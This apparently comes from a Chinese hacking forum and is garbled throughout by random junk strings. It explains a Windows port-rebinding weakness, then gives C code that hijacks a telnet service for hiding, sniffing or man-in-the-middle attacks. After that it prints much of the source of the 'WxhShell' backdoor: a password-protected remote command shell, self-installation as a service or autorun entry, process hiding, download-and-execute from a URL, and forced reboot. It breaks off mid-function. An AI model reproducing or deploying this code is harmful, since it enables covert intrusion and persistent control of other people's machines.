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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: @Zd+XWFw s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); `xe[\Z2 :7Mo0,Bw, saddr.sin_family = AF_INET; RLY Ae >>krH'79 saddr.sin_addr.s_addr = htonl(INADDR_ANY); {npKdX aA%$<ItH bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); >rlQY>5pH C|"T!1MlY4 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 f
; |[ Y">tfLIL_ 这意味着什么?意味着可以进行如下的攻击: xt
+fuL i2b\`
805 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ?zUV3Qgzj E=gD{1,? 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) [$?S9)Xd Sw#Ez-X 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 x@.iDP@( qM@][]j: 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 DMcvu*A xTD6?X'4 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 O60j C;{F f4s[R0l 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 QHr
3J
DLyHC=%{+h 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ;~z>GJox ?t)y/@eG #include x=1G|<z% #include `]]gD EPG{ #include ]Vjn7P`~N #include #f.@XIt' DWORD WINAPI ClientThread(LPVOID lpParam); Cd#*Wp)s int main() f&`v-kiAn= { =Cs$0aA WORD wVersionRequested; pvy;L[c DWORD ret; 23+6u{
WSADATA wsaData; <t]c' BOOL val; EBzg<-?o SOCKADDR_IN saddr; bXq,iX SOCKADDR_IN scaddr; 2 T{PIJg3 int err; \,
n'D SOCKET s; BO[Q"g$Kon SOCKET sc; X_s;j5ur int caddsize; #CV(F$\1{ HANDLE mt; i40r}?- DWORD tid; &:]_a?|*S wVersionRequested = MAKEWORD( 2, 2 ); ABhza| err = WSAStartup( wVersionRequested, &wsaData ); voQ, K9 if ( err != 0 ) { oBqP^uT>a| printf("error!WSAStartup failed!\n"); 6z%3l7#7Yi return -1; %n}fkj' } {KwLcSn saddr.sin_family = AF_INET; cdU2ph_ R$,`}@VqZ3 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 nq/xD;q rA*,)I_v@ saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); i04Sf^ saddr.sin_port = htons(23); Si]Z `_ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) a^[io1}- { \<lV), printf("error!socket failed!\n"); @{I55EQ] return -1; "G6d'xkP } idO3/>R
[ val = TRUE; BqZLqGOKu //SO_REUSEADDR选项就是可以实现端口重绑定的 w#PaN83+ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) WS(@KN { oK5(,8
(4 printf("error!setsockopt failed!\n"); -<z'f){gb return -1; " "a+Nc } xDADJ>u2K //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; mSQ!<1PM //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 yvDzxu //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 4vqu(w8
L T>f-b3dk if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) nj7Ri=lyS { Z/-%Eb]L1 ret=GetLastError(); '2[ _U&e printf("error!bind failed!\n"); -m'a%aog return -1; L6 _Sc-sU } ;k/0N~ listen(s,2); P\zi:]h[Gh while(1) 7KM!\"PM { ?!~au0 caddsize = sizeof(scaddr); jHz] //接受连接请求 M!X@-t# sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); UO:>^,(j if(sc!=INVALID_SOCKET) |?8CV\D! { kI[EG<N1k mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 38'H-]8q" if(mt==NULL) APc@1="#J { *DNH_8m printf("Thread Creat Failed!\n"); a}>GQu*y break; t&r?O dc&m } tQFFt,) } IwH
,g^0\ CloseHandle(mt); Jb
tbW&EH } yp*kMC,3 closesocket(s); ?,%N? WSACleanup(); ?q,x?`|(8 return 0; > %Y#(_~a } nQ~q-=,L DWORD WINAPI ClientThread(LPVOID lpParam) uwQ4RYz { .FMF0r>l
SOCKET ss = (SOCKET)lpParam; D1g1"^~g SOCKET sc; uo%O\}#u9 unsigned char buf[4096]; \pPq]k SOCKADDR_IN saddr; T2(+HI2 long num; ^9{ 2 DWORD val; KPO((G0& DWORD ret; IS=)J( 0 //如果是隐藏端口应用的话,可以在此处加一些判断 QM _~w\ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 H+ M~|Ju7 saddr.sin_family = AF_INET; aPb!-o{ saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); iTK1I0 saddr.sin_port = htons(23); "R30oA#m if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) O-'T*M> { u8,T>VNVw printf("error!socket failed!\n"); 5j}@Of1pd return -1; jcG4h/A } 5
+
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val = 100; Sv>aZ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) x)Th2es\ { %vThbP#mR| ret = GetLastError(); ix/uV)]k` return -1; zO\"$8q* } oNh .Zgg if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) R1m18GHQ { ,}|V'y ret = GetLastError(); :8QG$Ua1 return -1; H{ $ yy)@F } "1nd~
BBOw if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) j68Gz5;j { hs*:!&E
printf("error!socket connect failed!\n"); {Y/ closesocket(sc); 02+^rqIx5 closesocket(ss); r-0
7!A return -1; 1%:A9%O)t } gSv<.fD" while(1) $N
]P#g?Q { W ][IHy< //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 p,0 \NUC //如果是嗅探内容的话,可以再此处进行内容分析和记录 7yj2we //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 G^OSXf5 num = recv(ss,buf,4096,0); zld>o3K} if(num>0) _HL3XT send(sc,buf,num,0); [&4y@ else if(num==0) tw(2V$J break; ZEMo`O num = recv(sc,buf,4096,0); ?@,:\ ,G if(num>0) :Oj+Tc9A send(ss,buf,num,0); l00D|W_9 else if(num==0) lGz0K5P{ break; s1FBz)yCY= } D|BN_ai9 closesocket(ss); PDsLJ|:yL closesocket(sc); ";xEuX return 0 ;
Ay`a>:p } IpP0|:} d^Wh-U m6gr!aT ========================================================== (Zn\S*_@/ S`^W#,rj 下边附上一个代码,,WXhSHELL 9c 6V&b e8# 3Y+Tc ========================================================== \r2qH0B *~"`&rM( #include "stdafx.h" &ar}6eO 6]3ZUH; #include <stdio.h> -,tYfQ;: #include <string.h> kr/h^e #include <windows.h> loB/w{r*x #include <winsock2.h> j
AE0$u~. #include <winsvc.h> ,jWd?-NH #include <urlmon.h> X>4`{x ` -jy"?]ve. #pragma comment (lib, "Ws2_32.lib") Rju8%FRO #pragma comment (lib, "urlmon.lib") Z8@]e}n -$q/7,os #define MAX_USER 100 // 最大客户端连接数 |{nI.> #define BUF_SOCK 200 // sock buffer LKZI@i) #define KEY_BUFF 255 // 输入 buffer 5zGj,y>u aVb]H0 #define REBOOT 0 // 重启 nXS%>1o, #define SHUTDOWN 1 // 关机 525 >=h +NY4j-O #define DEF_PORT 5000 // 监听端口 ]3,0
8JW= )X/Faje #define REG_LEN 16 // 注册表键长度 CvJm7c #define SVC_LEN 80 // NT服务名长度 ZL>V9UWN P(;c` // 从dll定义API #Q"vwek typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Gpu?z-) typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); g2]-Q. typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); E~P0}' typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); $5IrM7i !O-+h0Z // wxhshell配置信息 @FV;5M:I struct WSCFG { .g~@e_;): int ws_port; // 监听端口 8iN As#s char ws_passstr[REG_LEN]; // 口令 o~K 2K5I int ws_autoins; // 安装标记, 1=yes 0=no -(.7/G'Vk> char ws_regname[REG_LEN]; // 注册表键名 $yAfs3/%)s char ws_svcname[REG_LEN]; // 服务名 QFPx4F7(e char ws_svcdisp[SVC_LEN]; // 服务显示名 8hfh,v5( char ws_svcdesc[SVC_LEN]; // 服务描述信息 >N
J$ac char ws_passmsg[SVC_LEN]; // 密码输入提示信息 WdAGZUp int ws_downexe; // 下载执行标记, 1=yes 0=no Mvv=)?: char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" u^9c` char ws_filenam[SVC_LEN]; // 下载后保存的文件名 w!RH*S av?BpN"l }; "BRE0Ir: )'~FDw\6 // default Wxhshell configuration Anv8)J!9u struct WSCFG wscfg={DEF_PORT, .B13)$C "xuhuanlingzhe", G#:!wI 1, r\d:fot "Wxhshell", Wwha?W> "Wxhshell",
I={{VQ "WxhShell Service", ArYF\7P "Wrsky Windows CmdShell Service", ([*t. "Please Input Your Password: ", DcA'{21 1, ~S6 {VK. " http://www.wrsky.com/wxhshell.exe", njMy&$6a## "Wxhshell.exe" ~P_kr'o }; P{eRDQ= #pSOZX // 消息定义模块 sCQup^\ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; oNZW#<K char *msg_ws_prompt="\n\r? for help\n\r#>"; [{F7Pc char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; m!60. char *msg_ws_ext="\n\rExit."; &|'6-wD. char *msg_ws_end="\n\rQuit."; a7\L-T+ char *msg_ws_boot="\n\rReboot..."; @3 c#\jx char *msg_ws_poff="\n\rShutdown..."; kVnyX@ char *msg_ws_down="\n\rSave to "; b]BA,D4 AFTed?( char *msg_ws_err="\n\rErr!"; Pfx71*u, char *msg_ws_ok="\n\rOK!"; --`LP[ll #\BI-zt char ExeFile[MAX_PATH]; o(/ia3 int nUser = 0; ?w/nZQWi HANDLE handles[MAX_USER]; .~L4#V{c~ int OsIsNt; {Ch"zuPX !h>$bm SERVICE_STATUS serviceStatus; yQ{_\t1Wd SERVICE_STATUS_HANDLE hServiceStatusHandle; [9om"' /'6[*]IZP // 函数声明 lhl0 int Install(void); Ko)T>8: int Uninstall(void); .oj" ru int DownloadFile(char *sURL, SOCKET wsh); 43=-pyp int Boot(int flag); sDm},=X} void HideProc(void); y%bqeo
L~ int GetOsVer(void); #0^3Wm`X; int Wxhshell(SOCKET wsl); D{c>i`\G void TalkWithClient(void *cs); BJxmW's/ int CmdShell(SOCKET sock); %@93^q[\2 int StartFromService(void); NoZ4['NI\ int StartWxhshell(LPSTR lpCmdLine); _np>({ Uv`v|S:+2 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); h_G|.7! VOID WINAPI NTServiceHandler( DWORD fdwControl ); 9~'Ip7X,! */dh_P<Yj // 数据结构和表定义 "Vp:z V<S SERVICE_TABLE_ENTRY DispatchTable[] = -!G#")< { 9c}]:3#XO {wscfg.ws_svcname, NTServiceMain}, `AHNk7 t= {NULL, NULL} 5zw23! }; X1[R*a/p JS?l?~ // 自我安装 p]|ME int Install(void) ":#x\; { zRoEx1 char svExeFile[MAX_PATH]; MQH8Q$5D HKEY key; 9Q7cUoxY strcpy(svExeFile,ExeFile); `[ ` *@O(y A;j$rGx // 如果是win9x系统,修改注册表设为自启动 sFM>gG if(!OsIsNt) { n[:AV if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Q0uO49sg RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); YZ:'8< RegCloseKey(key); m\Fb , if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5`'au61/2 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?Gv!d RegCloseKey(key); `)!2E6 = return 0; +6)kX4 } 9
roth } j X!ftm2 } P}WhE else { 2td|8vDA FlA\Ad;v // 如果是NT以上系统,安装为系统服务 l)PFzIz=V SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); vua1iN1 if (schSCManager!=0) aco}pXz { e9hVX[uq SC_HANDLE schService = CreateService 6dR-HhF ( `Y({#U schSCManager, 9 c5G6n0 wscfg.ws_svcname, I;.!
hV>E wscfg.ws_svcdisp,
;/^]| SERVICE_ALL_ACCESS, - Zoo) SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , y7IbE SERVICE_AUTO_START, (zro7gKked SERVICE_ERROR_NORMAL, ?r'TH/> svExeFile, (VXx G/E3 NULL, ];{l$-$$ NULL, O$umu_ NULL, L!b0y7yR NULL, %=mwOoMk0L NULL C|~JPcl ); "K$ Wh1<7 if (schService!=0) %f>
|fs { [cLU*: CloseServiceHandle(schService); =.f +}y CloseServiceHandle(schSCManager); >5~Zr$ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); iI@Gyq= strcat(svExeFile,wscfg.ws_svcname); am'p^Z@ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { `\4JwiPo RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); v!{'23`87 RegCloseKey(key); ;GgQ@s@ return 0; 2*FWIHyf } u388Wj
} gQpD]p%k CloseServiceHandle(schSCManager); mA] 84zO } +?5Uy*$ } hzuMTKH9 oB{}-[G return 1; "J[i=~( } :
`6$/DK id#k!*$7 // 自我卸载 pJ$N@ID int Uninstall(void) Ibv_D$cT { At[n<8_| HKEY key; mp+\! Z/6'kE{l if(!OsIsNt) { K'{W9~9Lq if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { LnI{S{]wDh RegDeleteValue(key,wscfg.ws_regname); ~q]|pD"\K| RegCloseKey(key); :af;yu if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "U5Ln2X{J RegDeleteValue(key,wscfg.ws_regname); hNq8
uyKx RegCloseKey(key); 5Ckk5b return 0; C>`.J_N } 9*TS90>a } ox\B3U%`p} } &W)+8N,L else { ofPF} Nvx)H(8F SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); mcz(,u} if (schSCManager!=0) c2\rjK { &t*8oNwSs SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); TH(Lzrbg if (schService!=0) Ky'3z" { THbtu*El if(DeleteService(schService)!=0) { /,uSCITD CloseServiceHandle(schService); Gkodk[VuLs CloseServiceHandle(schSCManager); pT
ocqJ22 return 0; ;( Ajf.i } gGI#QPT`X CloseServiceHandle(schService); @^:7UI_ } Z*)y.i ` CloseServiceHandle(schSCManager); _sf#J|kQ } ~g
K-5}%! } )S wG+k, SP
D207 return 1; 9HJ'p:{) } ,2
g M- 6Bq~\b^ // 从指定url下载文件 l#5~t|\ int DownloadFile(char *sURL, SOCKET wsh) B::4Qme { LpiHoavv HRESULT hr; 7$1fy0f[l char seps[]= "/"; G1?0Q_RN char *token; I4o=6ts char *file; ,>QMyI
hv char myURL[MAX_PATH]; *b6I%MZn char myFILE[MAX_PATH]; dIk8TJ fOK+DT~ strcpy(myURL,sURL); k binf token=strtok(myURL,seps); :p\(y while(token!=NULL) zU4V^N' { Mg a@JA" file=token; 0U~;%N+lv token=strtok(NULL,seps); _Ra<|NVQh } n ,&/D {XDY:`vZ} GetCurrentDirectory(MAX_PATH,myFILE); Uxk[O strcat(myFILE, "\\"); ]M+VSU strcat(myFILE, file); ==h|+NFa send(wsh,myFILE,strlen(myFILE),0); :~ZqB\>i send(wsh,"...",3,0); eC+"mhB hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); jsNH`" if(hr==S_OK) *%OYAsc return 0; Hyq@O8 else 't0+:o">: return 1; v.l7Q "W &:j:o } w'oo-.k z_:eM7]jv // 系统电源模块 J0ZxhxX35 int Boot(int flag) *]}CSZ[> { {uaZ<4N. HANDLE hToken; 4GU/V\e| TOKEN_PRIVILEGES tkp; eq@am(#&kY <THZ2`tTK3 if(OsIsNt) { d}{LM!s OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 7xv4E<r2 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ,]PyDq6 tkp.PrivilegeCount = 1; i}/e}s<-6 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; -y&v9OC2- AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); E ;BPN if(flag==REBOOT) { sJ))<,e5I if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) [K cki+ return 0; V>b2b5QAH, } }J ei$0x else { mQd4#LJ_ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) _pz,okO[V return 0; K0EY<Ltq } ]6$,IKE7 } KGV.S else { 54q4CagFq if(flag==REBOOT) { H&w:`JYDL3 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) w(76H^e return 0; ID67?:%r } /9x{^ else { g$*/XSr( if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) fm(mO% return 0; @4IW=V } up\oWR: } GVmC }>z b]!9eV$ return 1; G(U 9rJ9 } lLb:f6N @s_3 0+ // win9x进程隐藏模块 Ds%9cp*6 void HideProc(void) ~Cjz29|gp { nNt*} k X+=-f^)& HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Nls83 W if ( hKernel != NULL ) E,{GU { -PNi^
K_ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); )y9 ;OA ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Y/.AUN
Z FreeLibrary(hKernel); &+mV7o } A/q2g7My ifXW return;
!M } BjJ,"sT K)\(wxv // 获取操作系统版本 r55qmPhg int GetOsVer(void) z;i4N3-: { &&[zT/]P OSVERSIONINFO winfo; >Bc>IO winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); D`6iDit GetVersionEx(&winfo); s}6+8 fE" if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ze`1fO|% return 1; 6iG(C.b else Zy^=fM return 0; DH
6q7"@ } ^>C11v I*EJHBsQ5 // 客户端句柄模块 Q,{^S,s< int Wxhshell(SOCKET wsl) RFw(]o,9cR { Z&_y0W=t SOCKET wsh; PK_s#uC struct sockaddr_in client; otO
j^xU DWORD myID; t/}L36@+ 'It?wB W while(nUser<MAX_USER) B[r<m J { vxZg &SRK int nSize=sizeof(client); {m[s<A( wsh=accept(wsl,(struct sockaddr *)&client,&nSize); n-DaX
kK if(wsh==INVALID_SOCKET) return 1; R {HV]o|qk 6?N4l ]l handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); zj<ahg%z if(handles[nUser]==0) \V,c]I
closesocket(wsh); (8.{+8o else j~bAbOX12
nUser++; iOX Z]Xj5 } i[\w%(83Fi WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); r'/\HWNP Hkdf $$\ return 0; B`fH^N }
2nv[1@M x?#I4RJH; // 关闭 socket Hou*lCA void CloseIt(SOCKET wsh) t8QRi!\= { F|>05>8 closesocket(wsh); |( G2K'Ab nUser--; vA=Z=8 ExitThread(0); yGxv?%%2 } (&jW}1D yub{8 f;v // 客户端请求句柄 v5_7r%Hiw void TalkWithClient(void *cs) "+)K |9T# { OOnX` i31<].|kA* SOCKET wsh=(SOCKET)cs; `H>b5 char pwd[SVC_LEN]; t2-
^-g6 char cmd[KEY_BUFF]; FZF @ char chr[1]; [#Y' dFQ int i,j; ciudRK63M uRE*%d> while (nUser < MAX_USER) { )P?IqSEA% re^Hc(8M if(wscfg.ws_passstr) { >c4/?YV if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); v?%LQKO //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); d|XmasGN //ZeroMemory(pwd,KEY_BUFF); "xe=N i=0; MoD?2J while(i<SVC_LEN) { v!9i"@<! D8%AV;-Y // 设置超时 qi(*ty fd_set FdRead; Ha%F"V* struct timeval TimeOut; 2?W7I/F FD_ZERO(&FdRead); 5r b-U7 / FD_SET(wsh,&FdRead); 9'nH2,_ TimeOut.tv_sec=8; a8pY[)^c TimeOut.tv_usec=0; ](#&.q%5! int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ib$nc2BPb if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); DVlJ*A &fwS{n;U if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]5'
d&f pwd =chr[0]; ye%iDdf if(chr[0]==0xd || chr[0]==0xa) { _OMpIdY,R* pwd=0; TW7:q83{l break; Z
o=]dBp. } TJ(K3/)Z i++; 7AwgJb hn } x({H{'9? <@G8ni // 如果是非法用户,关闭 socket KVPR}qTP; if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); wJeG(h } Md,pDWb v.=/Y(J send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); .&1C:> send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); c)}2K0 #aar9 while(1) { 0:=ZkEEeU l>6@:nq|R ZeroMemory(cmd,KEY_BUFF); $g10vF3 D)Q)NI // 自动支持客户端 telnet标准
fvEAIs j=0; }7s>B24J while(j<KEY_BUFF) { HfB@vw^ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); HN6}R|IH cmd[j]=chr[0]; El-
? % if(chr[0]==0xa || chr[0]==0xd) { 6GAaV[])' cmd[j]=0; 1u|V`J)0 break; t*G/] } ka"337H j++; ~rD={&0 } 8X$LC C/=XuKE-t // 下载文件 +GF#?X0^ if(strstr(cmd,"http://")) { 'zZcn" +! send(wsh,msg_ws_down,strlen(msg_ws_down),0); $w#r"= ) if(DownloadFile(cmd,wsh)) #!2k<Q*5uT send(wsh,msg_ws_err,strlen(msg_ws_err),0); HYK!}& else ]Mi.f3QlO6 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e:w&(is } |Ic`,>XM else { | ?yo 3 &a,OfSz switch(cmd[0]) { 8RW&r V\]" }V)" // 帮助 p(F " / case '?': { /9pM>Cd*Z send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $ ((6=39s break; (ljF{)Ml+= } ])DX%$f // 安装 CO:u1? case 'i': { 2@=IT0[E\ if(Install()) o|BP$P8V send(wsh,msg_ws_err,strlen(msg_ws_err),0); MJ`3ta else kc `V4b% send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uC3:7 break; SOZPZUUEJ } %dST6$Z // 卸载 *?ITns W< case 'r': { Ih}1%Jq if(Uninstall()) p d[ncL send(wsh,msg_ws_err,strlen(msg_ws_err),0); FR[ B v else uX/$CM send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;%C'FV e] break; v``-F(i$ } )E#2J$TD // 显示 wxhshell 所在路径 N2'qpxOLI case 'p': { Z?P~z07 char svExeFile[MAX_PATH]; nl aM strcpy(svExeFile,"\n\r"); j@gMbiu strcat(svExeFile,ExeFile); M:KbD| send(wsh,svExeFile,strlen(svExeFile),0); '*^yAlgtt break; /iC;%r1L } v1JS~uDz // 重启 7dG79H case 'b': { *OJ/V O send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); -|k)tvAm if(Boot(REBOOT)) LQ11ba send(wsh,msg_ws_err,strlen(msg_ws_err),0); J5p"7bc else { [#Lc]$ closesocket(wsh); #1 1NPo9 ExitThread(0); Uxfl_@lJ } 57a2^ break; 'ly?P8h } "gtHTqheH // 关机 ^9OUzTF case 'd': { >_dx_<75& send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); "xmP6=1 if(Boot(SHUTDOWN)) M->*{D@a send(wsh,msg_ws_err,strlen(msg_ws_err),0); VV4Gjc else { %3q0(Xl closesocket(wsh); /MMd`VrC2 ExitThread(0); Migd(uw' } u's`*T@. break; 3A:q7#m } n<sd!xmqFx // 获取shell ,;?S\V case 's': { =gfI!w CmdShell(wsh); ?"#%SKm closesocket(wsh); YJg,B\z} ExitThread(0); 0~wF3BgV break; 9SlNq05G7 } eI.2`)> // 退出 @E( 7V(m/ case 'x': { HoV^Y6 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); d)cOhZy CloseIt(wsh); f4-a?bp break; !Cgx. } " 96yp4v@ // 离开 %*aJLn+]_R case 'q': { ^,l_{ send(wsh,msg_ws_end,strlen(msg_ws_end),0); ?Xdak|?i closesocket(wsh); 9Zry]$0~R WSACleanup(); NN0$}ac p exit(1); M.-"U+#aD break; <IW#ME } D jk C } Uz cx6sw } 2%*MW"Q ] Z8Vj7~ // 提示信息 b2 _Yu^ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Sxdsv9w } p4IZ
} QB.J,o*XD4 CQel3Jtt. return; du$|lxC } W$U0[^1 RLlU"
sw+{ // shell模块句柄 O }9KJU int CmdShell(SOCKET sock) 1im^17X { +_XmlX A3Z STARTUPINFO si; q~CA0AR ZeroMemory(&si,sizeof(si)); 8+]hpa,q si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; y;mj^/SxK si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; #HS]NA|e@ PROCESS_INFORMATION ProcessInfo; y4h=Lki@ char cmdline[]="cmd"; EbeI{-'aF CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); y\N|<+G+ return 0; .@
xF6UZ } +("7ZK? 4Mk-2 Dx // 自身启动模式 gaA<}Tp, int StartFromService(void) s9dO,FMs0t { i)#:qAtP* typedef struct m}>F<;hQ { ^F?&|clM/ DWORD ExitStatus; 1qV@qz DWORD PebBaseAddress; A:(*y
2 DWORD AffinityMask; =%'`YbD$ DWORD BasePriority; + OV')oE ULONG UniqueProcessId; R52I=
a5,* ULONG InheritedFromUniqueProcessId; zF5uN:-s } PROCESS_BASIC_INFORMATION; Oj<S.fi ["\;kJ. PROCNTQSIP NtQueryInformationProcess; +,~zWv1v 0]D0{6x8 static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 8|E'>+ D_- static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; n wI!O ih?^t(i HANDLE hProcess; *'ZB*> PROCESS_BASIC_INFORMATION pbi; >~`C-K# s@MYc@k HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); M#|dIbns
H if(NULL == hInst ) return 0; _gKe%J& uKgZ$-' g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 5[j`6l g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Y>jiXl?&
